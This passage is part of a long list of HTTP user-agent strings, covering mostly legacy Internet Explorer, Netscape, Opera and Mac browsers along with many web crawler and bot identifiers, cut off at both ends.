Center PC 6.0; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; AskTbGOM2/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Media Center PC 5.0; SLCC1; Tablet PC 2.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB6; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; AskTbIJBME/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB7.4; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; SLCC2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62 Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NE Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US) Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0) Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US) Mozilla/4.0 (compatible; MSIE enviable; DAUMOA 2.0; DAUM Web Robot; Daum Communications Corp., Korea; +http://ws.daum.net/aboutkr.html) Mozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea) Mozilla/4.0 (compatible; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322); Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727); Windows NT 5.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727); Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060414; Windows NT 5.1) Mozilla/4.0 (compatible; Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729); Windows NT 5.1; Trident/4.0) Mozilla/4.0 (compatible; Mozilla/5.0 ; Linux i686) Mozilla/4.0 (compatible; NaverBot/1.0; http://help.naver.com/delete_main.asp) Mozilla/4.0 (compatible; NetPromoter Spider;http://www.net-promoter.com/) Mozilla/4.0 (compatible; Netcraft Web Server Survey) Mozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.51 [en] Mozilla/4.0 (compatible; Powermarks/3.5; Windows 95/98/2000/NT) Mozilla/4.0 (compatible; RSS Popper) Mozilla/4.0 (compatible; SPENG) Mozilla/4.0 (compatible; SiteKiosk 4.0; MSIE 5.0; Windows 98; SiteCoach 1.0) Mozilla/4.0 (compatible; SpeedySpider; www.entireweb.com) Mozilla/4.0 (compatible; SuperCleaner 2.xx; Windows 98) Mozilla/4.0 (compatible; Synapse) Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1) Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1) (Compatible; ; ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; WSN Links) Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh) Mozilla/4.0 (compatible; WebCapture 3.0; Windows) Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Mozilla/4.0 (compatible; Windows Mobile; WCE; Opera Mobi/WMD-50433; U; de) Presto/2.4.13 Version/10.00 Mozilla/4.0 (compatible; Windows NT 5.1; U; en) Mozilla/4.0 (compatible; Y!J; for robot study; keyoshid) Mozilla/4.0 (compatible; Yahoo Japan; for robot study; kasugiya) Mozilla/4.0 (compatible; Zealbot 1.0) Mozilla/4.0 (compatible; crawlx, crawler@trd.overture.com) Mozilla/4.0 (compatible; grub-client-0.2.x; Crawl your stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-0.3.x; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-2.x) Mozilla/4.0 (compatible; ibisBrowser) Mozilla/4.0 (compatible; www.euro-directory.com; urlchecker1.0) Mozilla/4.0 (compatible; www.galaxy.com) Mozilla/4.0 (compatible; www.linkguard.com Linkguard Online 1.0; Windows NT) Mozilla/4.0 (compatible;MSIE 5.5; Windows 98) Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.0; H010818) Mozilla/4.0 (compatible;MSIE 6.0;Windows 98;Q312461) Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0) Mozilla/4.0 (fantomBrowser) Mozilla/4.0 (fantomCrew Browser) Mozilla/4.0 (hhjhj@yahoo.com) Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320) Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0) Mozilla/4.0 [en] (Ask Jeeves Corporate Spider) Mozilla/4.0 compatible FurlBot/Furl Search 2.0 (FurlBot; http://www.furl.net; wn.furlbot@looksmart.net) Mozilla/4.0 compatible ZyBorg/1.0 (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 for Homepage (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com) Mozilla/4.0 efp@gmx.net Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt) Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0) Mozilla/4.0(compatible; Zealbot 1.0) Mozilla/4.01 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/4.01 (compatible; NORAD National Defence Network) Mozilla/4.01 [de] (WinNT; I) Mozilla/4.01 [en] (Win95; I) Mozilla/4.01 [en](Win95;I) Mozilla/4.02 [en] (X11; I; SunOS 5.6 sun4u) Mozilla/4.03 [fr] (Win95; U) Mozilla/4.04 (compatible; Dulance bot; +http://www.dulance.com/bot.jsp) Mozilla/4.04 [de] (WinNT; I ;Nav) Mozilla/4.04 [en] (Win95; I ;Nav) Mozilla/4.04 [en] (WinNT; I) Mozilla/4.04 [en] (WinNT; U) Mozilla/4.04 [en] (X11; I; HP-UX B.10.20 9000/712) Mozilla/4.04 [en] (X11; I; IRIX 5.3 IP22) Mozilla/4.04 [fr] (Macintosh; I; PPC, Nav) Mozilla/4.05 (Macintosh; I; 68K Nav) Mozilla/4.05 (Macintosh; I; PPC Nav) Mozilla/4.05 [de] (Win95; I) Mozilla/4.05 [en] (Win95; I) Mozilla/4.05 [en] (X11; I; Linux 2.0.33 i586) Mozilla/4.05 [en] (X11; I; SunOS 4.1.4 sun4m) Mozilla/4.06 (Win95; I) Mozilla/4.06 [de] (Win98; I) Mozilla/4.06 [de] (WinNT; I) Mozilla/4.06 [en] (WinNT; I ;Nav) Mozilla/4.06 [en] (WinNT; I) Mozilla/4.06 [en] (X11; I; Linux 2.0.35 i686) Mozilla/4.06 [en] (X11; U; Linux 2.0.27 i586) Mozilla/4.06 [hu] (Win98; I) Mozilla/4.07 [de] (Win95; I) Mozilla/4.07 [de] (Win98; I) Mozilla/4.07 [en] (WinNT; I) Mozilla/4.07 [en] (WinNT; U ;Nav) Mozilla/4.07 [en] (X11; I; Linux 2.0.36 i586) Mozilla/4.07 [fr] (Win95; I) Mozilla/4.08 (Charon; Inferno) Mozilla/4.08 (Macintosh; I; PPC, Nav) Mozilla/4.08 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/4.08 [de] (WinNT; I) Mozilla/4.08 [en] (Win95; I ;Nav) Mozilla/4.08 [en] (Win98; I ;Nav) Mozilla/4.08 [en] (Win98; U ;Nav) Mozilla/4.08 [en] (WinNT; I ;Nav) Mozilla/4.08 [en] (WinNT; U ;Nav) Mozilla/4.08 [en] (WinNT; U) Mozilla/4.0_(compatible;_MSIE_5.0;_Windows_95)_TrueRobot/1.4 libwww/5.2.8 Mozilla/4.0_(compatible;_MSIE_5.0;_Windows_95)_VoilaBot/1.6 libwww/5.3.2 Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US] Mozilla/4.41 (BEOS; U ;Nav) Mozilla/4.5 (Macintosh; U; PPC) Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98) Mozilla/4.5 (compatible; OmniWeb/4.0.5; Mac_PowerPC) Mozilla/4.5 (compatible; OmniWeb/4.1-beta-1; Mac_PowerPC) Mozilla/4.5 (compatible; OmniWeb/4.1-v422; Mac_PowerPC) Mozilla/4.5 (compatible; OmniWeb/4.1.1-v424.6; Mac_PowerPC) Mozilla/4.5 (compatible; OmniWeb/4.2-v435.5; Mac_PowerPC) Mozilla/4.5 (compatible; OmniWeb/4.2.1-v435.9; Mac_PowerPC) Mozilla/4.5 (compatible; iCab 2.5.3; Macintosh; I; PPC) Mozilla/4.5 (compatible; iCab 2.8.1; Macintosh; I; PPC) Mozilla/4.5 (compatible; iCab 2.9.1; Macintosh; U; PPC) Mozilla/4.5 (compatible; iCab 2.9.1; Macintosh; U; PPC; Mac OS X) Mozilla/4.5 (compatible; iCab 2.9.5; Macintosh; U; PPC; Mac OS X) Mozilla/4.5 (compatible; iCab 2.9.9; Macintosh; U; 68K) Mozilla/4.5 RPT-HTTPClient/0.3-2 Mozilla/4.5 [de] (Macintosh; I; PPC) Mozilla/4.5 [de] (Win98; I) Mozilla/4.5 [de] (WinNT; I) Mozilla/4.5 [en] (Win95; I) Mozilla/4.5 [en] (Win98; I) Mozilla/4.5 [en] (WinNT; I) Mozilla/4.5 [en] (WinNT; U) Mozilla/4.5 [en] (X11; I; Linux 2.2.16 i586) Mozilla/4.5 [en] (X11; I; SunOS 5.6 sun4u) Mozilla/4.5 [en] (X11; I; SunOS 5.7 sun4u) Mozilla/4.5 [en] (X11; I; SunOS 5.8 sun4u) Mozilla/4.5 [en]C-CCK-MCD {RuralNet} (Win98; I) Mozilla/4.5 [es] (Win98; I) Mozilla/4.5 [fr] (Macintosh; I; PPC) Mozilla/4.5 [fr] (Macintosh; U; PPC) Mozilla/4.5 [fr] (Win95; I) Mozilla/4.5 [fr] (Win98; I) Mozilla/4.5 [it] (Win98; I) Mozilla/4.51 (Macintosh; I; PPC) Mozilla/4.51 [de] (Win95; I) Mozilla/4.51 [de] (Win98; I) Mozilla/4.51 [de] (WinNT; I) Mozilla/4.51 [en] (Win95; I) Mozilla/4.51 [en] (Win98; U) Mozilla/4.51 [en] (WinNT; I) Mozilla/4.51 [en] (X11; I; Linux 2.2.5 i686) Mozilla/4.51 [en] (X11; I; Linux 2.2.7 i686) Mozilla/4.51 [fr] (Win95; I) Mozilla/4.51 [it] (Win98; U) Mozilla/4.5b1 [en] (X11; I; Linux 2.0.35 i586) Mozilla/4.6 (Macintosh; I; PPC) Mozilla/4.6 (Macintosh; U; PPC) Mozilla/4.6 [de] (Win95; I) Mozilla/4.6 [de] (Win98; I) Mozilla/4.6 [de] (WinNT; I) Mozilla/4.6 [en] (Win95; I) Mozilla/4.6 [en] (Win98; I) Mozilla/4.6 [en] (WinNT; I) Mozilla/4.6 [en] (X11; I; SunOS 5.5.1 sun4u; Nav) Mozilla/4.6 [en] (X11; I; SunOS 5.8 sun4u) Mozilla/4.6 [en] (X11; U; SunOS 5.8 sun4u) Mozilla/4.6 [en] (http://www.cnet.com/) Mozilla/4.6 [fr] (Win95; I) Mozilla/4.6 [fr] (WinNT; I) Mozilla/4.61 (Macintosh; I; PPC) Mozilla/4.61 [de] (OS/2; I) Mozilla/4.61 [de] (OS/2; U) Mozilla/4.61 [en] (OS/2; I) Mozilla/4.61 [en] (OS/2; U) Mozilla/4.61 [en] (Win95; I) Mozilla/4.61 [en] (Win98; I) Mozilla/4.61 [en] (WinNT; I) Mozilla/4.61 [en] (X11; I; Linux 2.2.12-20 i686; Nav) Mozilla/4.61 [en] (X11; I; SunOS 5.6 sun4u) Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows) Mozilla/4.61 [fi] (OS/2; I) Mozilla/4.61 [ja] (X11; I; Linux 2.6.13-33cmc1 i686) Mozilla/4.7 Mozilla/4.7 (Macintosh; I; PPC) Mozilla/4.7 (X11; Linux) Mozilla/4.7 (compatible; Intelliseek; http://www.intelliseek.com) Mozilla/4.7 (compatible; OffByOne; Windows 98) Webster Pro V3.2 Mozilla/4.7 (compatible; WhizBang; http://www.whizbang.com/crawler) Mozilla/4.7 (compatible; Whizbang) Mozilla/4.7 (compatible; http://eidetica.com/spider) Mozilla/4.7 [ca] (Win98; I) Mozilla/4.7 [de] (Win95; I) Mozilla/4.7 [de] (Win95; U) Mozilla/4.7 [de] (Win98; I) Mozilla/4.7 [de] (Win98; U) Mozilla/4.7 [de] (WinNT; I) Mozilla/4.7 [de] (WinNT; U) Mozilla/4.7 [en-gb] (Win98; U) Mozilla/4.7 [en-gb] (WinNT; I) Mozilla/4.7 [en-gb] (WinNT; U) Mozilla/4.7 [en] (Win95; I) Mozilla/4.7 [en] (Win98; I) Mozilla/4.7 [en] (WinNT; I) Mozilla/4.7 [en] (WinNT; U) Mozilla/4.7 [en] (Windows NT 6.0; U) Mozilla/4.7 [en] (X11; I; Linux 2.2.12 i686; Nav) Mozilla/4.7 [en] (X11; I; Linux 2.2.13 i586) Mozilla/4.7 [en] (X11; I; Linux 2.2.13 i686; Nav) Mozilla/4.7 [en] (X11; I; SunOS 5.6 sun4u) Mozilla/4.7 [en] (X11; I; SunOS 5.7 sun4u) Mozilla/4.7 [en] (X11; I; SunOS 5.8 sun4u) Mozilla/4.7 [en] (X11; U; SunOS 5.6 sun4u) Mozilla/4.7 [en](BecomeBot@exava.com) Mozilla/4.7 [en](Exabot@exava.com) Mozilla/4.7 [en]C-CCK-MCD {Yahoo;YIP052400} (Win95; I) Mozilla/4.7 [fr] (Win95; I) Mozilla/4.7 [fr] (Win98; I) Mozilla/4.7 [fr] (Win98; U) Mozilla/4.7 [fr] (WinNT; I) Mozilla/4.71 [en] (Win98; I) Mozilla/4.71 [en] (WinNT; I) Mozilla/4.71 [en] (X11; U; Linux 2.0.36 i586) Mozilla/4.72 (Macintosh; I; PPC) Mozilla/4.72 (Macintosh; U; PPC) Mozilla/4.72 [de] (Win95; U) Mozilla/4.72 [de] (WinNT; U) Mozilla/4.72 [de] (Windows NT 5.0; U) Mozilla/4.72 [en] (BACS http://www.ba.be) Mozilla/4.72 [en] (Win95; I) Mozilla/4.72 [en] (Win98; I) Mozilla/4.72 [en] (Win98; U) Mozilla/4.72 [en] (Win98;I) Mozilla/4.72 [en] (WinNT; I) Mozilla/4.72 [en] (WinNT; U) Mozilla/4.72 [en] (Windows NT 5.0; I) Mozilla/4.72 [en] (Windows NT 5.0; U) Mozilla/4.72 [en] (X11; I; HP-UX B.11.00 9000/800) Mozilla/4.72 [en] (X11; I; Linux 2.2.13 i586) Mozilla/4.72 [en] (X11; I; Linux 2.2.14 i586) Mozilla/4.72 [en] (X11; I; Linux 2.2.14 i686) Mozilla/4.72 [en] (X11; I; SunOS 5.7 sun4m) Mozilla/4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) Mozilla/4.72 [en] (X11; U; Linux 2.2.20 i586; Nav) Mozilla/4.72 [fr] (X11; U; Linux 2.2.14-5.0 i686) Mozilla/4.72C-CCK-MCD Caldera Systems OpenLinux [en] (X11; U; Linux 2.2.14 i686) Mozilla/4.73 (Macintosh; I; PPC) Mozilla/4.73 (Macintosh; U; PPC) Mozilla/4.73 [de] (Win95; U) Mozilla/4.73 [de] (Win98; U) Mozilla/4.73 [de] (WinNT; U) Mozilla/4.73 [de] (Windows NT 5.0; U) Mozilla/4.73 [en] (Win95; I) Mozilla/4.73 [en] (Win95; U) Mozilla/4.73 [en] (Win98; I) Mozilla/4.73 [en] (Win98; U) Mozilla/4.73 [en] (WinNT; I) Mozilla/4.73 [en] (WinNT; U) Mozilla/4.73 [en] (Windows NT 5.0; I) Mozilla/4.73 [en] (Windows NT 5.0; U) Mozilla/4.73 [en] (X11; I; HP-UX B.10.20 9000/879) Mozilla/4.73 [en] (X11; U; SunOS 5.8 sun4u) Mozilla/4.74 (Macintosh; U; PPC) Mozilla/4.74 [de] (X11; U; Linux 2.2.16 i586) Mozilla/4.74 [de] (X11; U; Linux 2.2.16 i686) Mozilla/4.74 [en] (Win95; U) Mozilla/4.74 [en] (Win98; U) Mozilla/4.74 [en] (WinNT; U) Mozilla/4.74 [en] (Windows NT 5.0; U) Mozilla/4.74 [en] (X11; U; Linux 2.2.16 i686) Mozilla/4.75 (Macintosh; U; PPC) Mozilla/4.75 (X11; I; Linux 2.2.14 i686) Mozilla/4.75 [de] (Win95; U) Mozilla/4.75 [de] (Win98; U) Mozilla/4.75 [de] (WinNT; U) Mozilla/4.75 [de] (Windows NT 5.0; U) Mozilla/4.75 [en] (Win95; U) Mozilla/4.75 [en] (Win98; U) Mozilla/4.75 [en] (WinNT; U) Mozilla/4.75 [en] (Windows NT 5.0; U) Mozilla/4.75 [en] (X11; U; Linux 2.2.12-20 i586) Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686) Mozilla/4.75 [en] (X11; U; Linux 2.2.17 i686) Mozilla/4.75 [en] (X11; U; OpenBSD 2.8 i386) Mozilla/4.75 [en] (X11; U; SunOS 5.6 sun4u) Mozilla/4.75 [en] (X11; U; SunOS 5.7 sun4u) Mozilla/4.75 [en] (X11; U; SunOS 5.8 sun4u) Mozilla/4.75 [fr] (Win95; U) Mozilla/4.75 [fr] (Win98; U) Mozilla/4.75 [fr] (WinNT; U) Mozilla/4.75 [fr] (Windows NT 5.0; U) Mozilla/4.75 [fr] (X11; U; Linux 2.2.16-22 i686) Mozilla/4.75 [fr] (X11; U; Linux 2.2.16-3smp i686) Mozilla/4.75 [pl] (X11; U; Linux 2.2.17-21mdk i686) Mozilla/4.75C-ja [ja] (X11; U; OSF1 V5.1 alpha) Mozilla/4.76 (Macintosh; U; PPC) Mozilla/4.76 (Windows 98; U) Opera 5.12 [en] Mozilla/4.76 (Windows NT 4.0; U) Opera 5.12 [en] Mozilla/4.76 (Windows NT 4.0; U) Opera 6.0 [de] Mozilla/4.76 (X11; U; Linux 2.4.10-4GB i686) Mozilla/4.76 [de] (X11; U; Linux 2.2.18 i686) Mozilla/4.76 [de] (X11; U; Linux 2.4.0-4GB i686) Mozilla/4.76 [de] (X11; U; Linux 2.4.4-4GB i686; Nav) Mozilla/4.76 [en] (Win95; U) Mozilla/4.76 [en] (Win98; U) Mozilla/4.76 [en] (WinNT; U) Mozilla/4.76 [en] (Windows NT 5.0; U) Mozilla/4.76 [en] (X11; U; FreeBSD 4.4-STABLE i386) Mozilla/4.76 [en] (X11; U; HP-UX B.10.20 9000/782) Mozilla/4.76 [en] (X11; U; Linux 2.2.16 i686) Mozilla/4.76 [en] (X11; U; Linux 2.2.16-22 i686) Mozilla/4.76 [en] (X11; U; Linux 2.2.19pre17 i686) Mozilla/4.76 [en] (X11; U; Linux 2.4.0 i686) Mozilla/4.76 [en] (X11; U; Linux 2.4.18p3 i686) Mozilla/4.76 [en] (X11; U; Linux 2.4.20 i686) Mozilla/4.76 [en] (X11; U; Linux 2.4.5 i686) Mozilla/4.76 [en] (X11; U; Linux 2.4.9-34 i686) Mozilla/4.76 [en] (X11; U; SunOS 5.7 sun4u) Mozilla/4.76 [en] (X11; U; SunOS 5.8 i86pc) Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4u) Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4u; Nav) Mozilla/4.76 [fr] (X11; U; Linux 2.4.2-2 i686) Mozilla/4.76C-SGI [en] (X11; I; IRIX 6.5 IP32) Mozilla/4.76C-SGI [en] (X11; I; IRIX64 6.5 IP30) Mozilla/4.77 (Macintosh; U; PPC) Mozilla/4.77 [de] (X11; U; Linux 2.4.2-2 i686) Mozilla/4.77 [de] (X11; U; Linux 2.4.4-4GB i686) Mozilla/4.77 [de] (X11; U; Linux 2.4.7-4GB i686) Mozilla/4.77 [en] (Win95; U) Mozilla/4.77 [en] (Win98; U) Mozilla/4.77 [en] (WinNT; U) Mozilla/4.77 [en] (Windows NT 5.0; U) Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30) Mozilla/4.77 [en] (X11; U; HP-UX B.11.00 9000/800) Mozilla/4.77 [en] (X11; U; Linux 2.2.14 i686) Mozilla/4.77 [en] (X11; U; Linux 2.2.17 i586) Mozilla/4.77 [en] (X11; U; Linux 2.2.19 i686) Mozilla/4.77 [en] (X11; U; Linux 2.4.17-lsm i686) Mozilla/4.77 [en] (X11; U; Linux 2.4.18-27.7.x i686) Mozilla/4.77 [en] (X11; U; Linux 2.4.18-386 i686) Mozilla/4.77 [en] (X11; U; Linux 2.4.19 i686; Nav) Mozilla/4.77 [en] (X11; U; Linux 2.4.19-acheron i686; Nav) Mozilla/4.77 [en] (X11; U; Linux 2.4.2-2 i686) Mozilla/4.77 [en] (X11; U; Linux 2.4.20-bf2.4 i686) Mozilla/4.77 [en] (X11; U; Linux 2.4.9 i686) Mozilla/4.77 [en] (X11; U; Linux 2.4.9-a22m i686) Mozilla/4.77 [en] (X11; U; SunOS 5.7 sun4u) Mozilla/4.77 [en] (X11; U; SunOS 5.8 sun4u) Mozilla/4.77 [fr] (X11; U; Linux 2.4.17 i686; Nav) Mozilla/4.77 [fr] (X11; U; Linux 2.4.3-20mdk i686) Mozilla/4.77 [fr] (X11; U; Linux 2.4.4-4GB i686) Mozilla/4.77 [fr] (X11; U; Linux 2.4.9-34 i686) Mozilla/4.77C-SGI [en] (X11; I; IRIX64 6.5 IP30) Mozilla/4.77C-SGI [en] (X11; U; IRIX 6.5 IP32) Mozilla/4.78 (Macintosh; U; PPC) Mozilla/4.78 (Windows 2000; U) Opera 6.01 [en] Mozilla/4.78 (Windows 2000; U) Opera 6.04 [de] Mozilla/4.78 (Windows 98; U) Opera 6.05 [de] Mozilla/4.78 (Windows NT 5.0; U) Opera 7.01 [en] Mozilla/4.78 (Windows NT 5.0; U) Opera 7.11 [en] Mozilla/4.78 (Windows NT 5.1; U) Opera 7.51 [en] Mozilla/4.78 (Windows NT 5.1; U) Opera 7.54 [de] Mozilla/4.78 (Windows XP; U) Opera 6.05 [de] Mozilla/4.78 [de] (Win95; U) Mozilla/4.78 [de] (Win98; U) Mozilla/4.78 [de] (WinNT; U) Mozilla/4.78 [de] (Windows NT 5.0; U) Mozilla/4.78 [de] (X11; U; Linux 2.4.10-4GB i586) Mozilla/4.78 [de] (X11; U; Linux 2.4.10-4GB i686) Mozilla/4.78 [de] (X11; U; Linux 2.4.17 i686) Mozilla/4.78 [de] (X11; U; Linux 2.4.7-10 i586) Mozilla/4.78 [de] (X11; U; Linux 2.4.7-10 i686; Nav) Mozilla/4.78 [de] (X11; U; Linux 2.4.7-10LIZ i686) Mozilla/4.78 [en] (Win98; U) Mozilla/4.78 [en] (WinNT; U) Mozilla/4.78 [en] (Windows NT 5.0; U) Mozilla/4.78 [en] (X11; U; HP-UX B.11.00 9000/785) Mozilla/4.78 [en] (X11; U; Linux 2.2.13 i686) Mozilla/4.78 [en] (X11; U; Linux 2.4.10-4GB i586) Mozilla/4.78 [en] (X11; U; Linux 2.4.10-4GB i686) Mozilla/4.78 [en] (X11; U; Linux 2.4.18-19.7.x i686) Mozilla/4.78 [en] (X11; U; Linux 2.4.18-27.7.x i686) Mozilla/4.78 [en] (X11; U; Linux 2.4.18-4GB i686) Mozilla/4.78 [en] (X11; U; Linux 2.4.2 i386) Mozilla/4.78 [en] (X11; U; Linux 2.4.20 i686; Nav) Mozilla/4.78 [en] (X11; U; Linux 2.4.20-18.7 i686) Mozilla/4.78 [en] (X11; U; Linux 2.4.7-10 i686) Mozilla/4.78 [en] (X11; U; Linux 2.4.9-21 i686) Mozilla/4.78 [en] (X11; U; Linux 2.4.9-34smp i686) Mozilla/4.78 [en] (X11; U; SunOS 5.7 sun4u) Mozilla/4.78 [en] (X11; U; SunOS 5.8 sun4u) Mozilla/4.78 [en] (X11; U; SunOS 5.8 sun4u; Nav) Mozilla/4.78 [en] (X11; U; SunOS 5.9 sun4u) Mozilla/4.78 [es] (Win98; U) Mozilla/4.78 [es] (Windows NT 5.0; U) Mozilla/4.78 [fr] (Win95; U) Mozilla/4.78 [fr] (Win98; U) Mozilla/4.78 [fr] (WinNT; U) Mozilla/4.78 [fr] (Windows NT 5.0; U) Mozilla/4.78 [fr] (X11; U; Linux 2.4.18-14 i686) Mozilla/4.78 [fr] (X11; U; Linux 2.4.7-10 i686) Mozilla/4.78 [fr] (X11; U; Linux 2.4.7-10.2 i686) Mozilla/4.78 [fr] (X11; U; Linux 2.4.8-26mdk i686) Mozilla/4.78 [ja] (Windows NT 5.0; U) Mozilla/4.79 (Macintosh; U; PPC) Mozilla/4.79 [de] (X11; U; Linux 2.4.18-4GB i686) Mozilla/4.79 [de] (X11; U; Linux 2.4.18-64GB-SMP i686) Mozilla/4.79 [en] (Win95; U) Mozilla/4.79 [en] (Win98; U) Mozilla/4.79 [en] (WinNT; U) Mozilla/4.79 [en] (Windows NT 5.0; U) Mozilla/4.79 [en] (X11; U; Linux 2.2.12-32 i686) Mozilla/4.79 [en] (X11; U; Linux 2.2.19-6.2.16 i686) Mozilla/4.79 [en] (X11; U; Linux 2.4.16-4GB-SMP i686) Mozilla/4.79 [en] (X11; U; Linux 2.4.18-10 i686) Mozilla/4.79 [en] (X11; U; Linux 2.4.18-27.7.xsmp i686) Mozilla/4.79 [en] (X11; U; Linux 2.4.18-3 i686) Mozilla/4.79 [en] (X11; U; Linux 2.4.18-5 i686) Mozilla/4.79 [en] (X11; U; Linux 2.4.18-5smp i686) Mozilla/4.79 [en] (X11; U; Linux 2.4.2 i386) Mozilla/4.79 [en] (X11; U; Linux 2.4.20-4GB i586) Mozilla/4.79 [en] (X11; U; Linux 2.4.21-pre5 i686) Mozilla/4.79 [en] (X11; U; SunOS 5.10 i86pc) Mozilla/4.79 [en] (X11; U; SunOS 5.6 sun4u) Mozilla/4.79 [en] (X11; U; SunOS 5.7 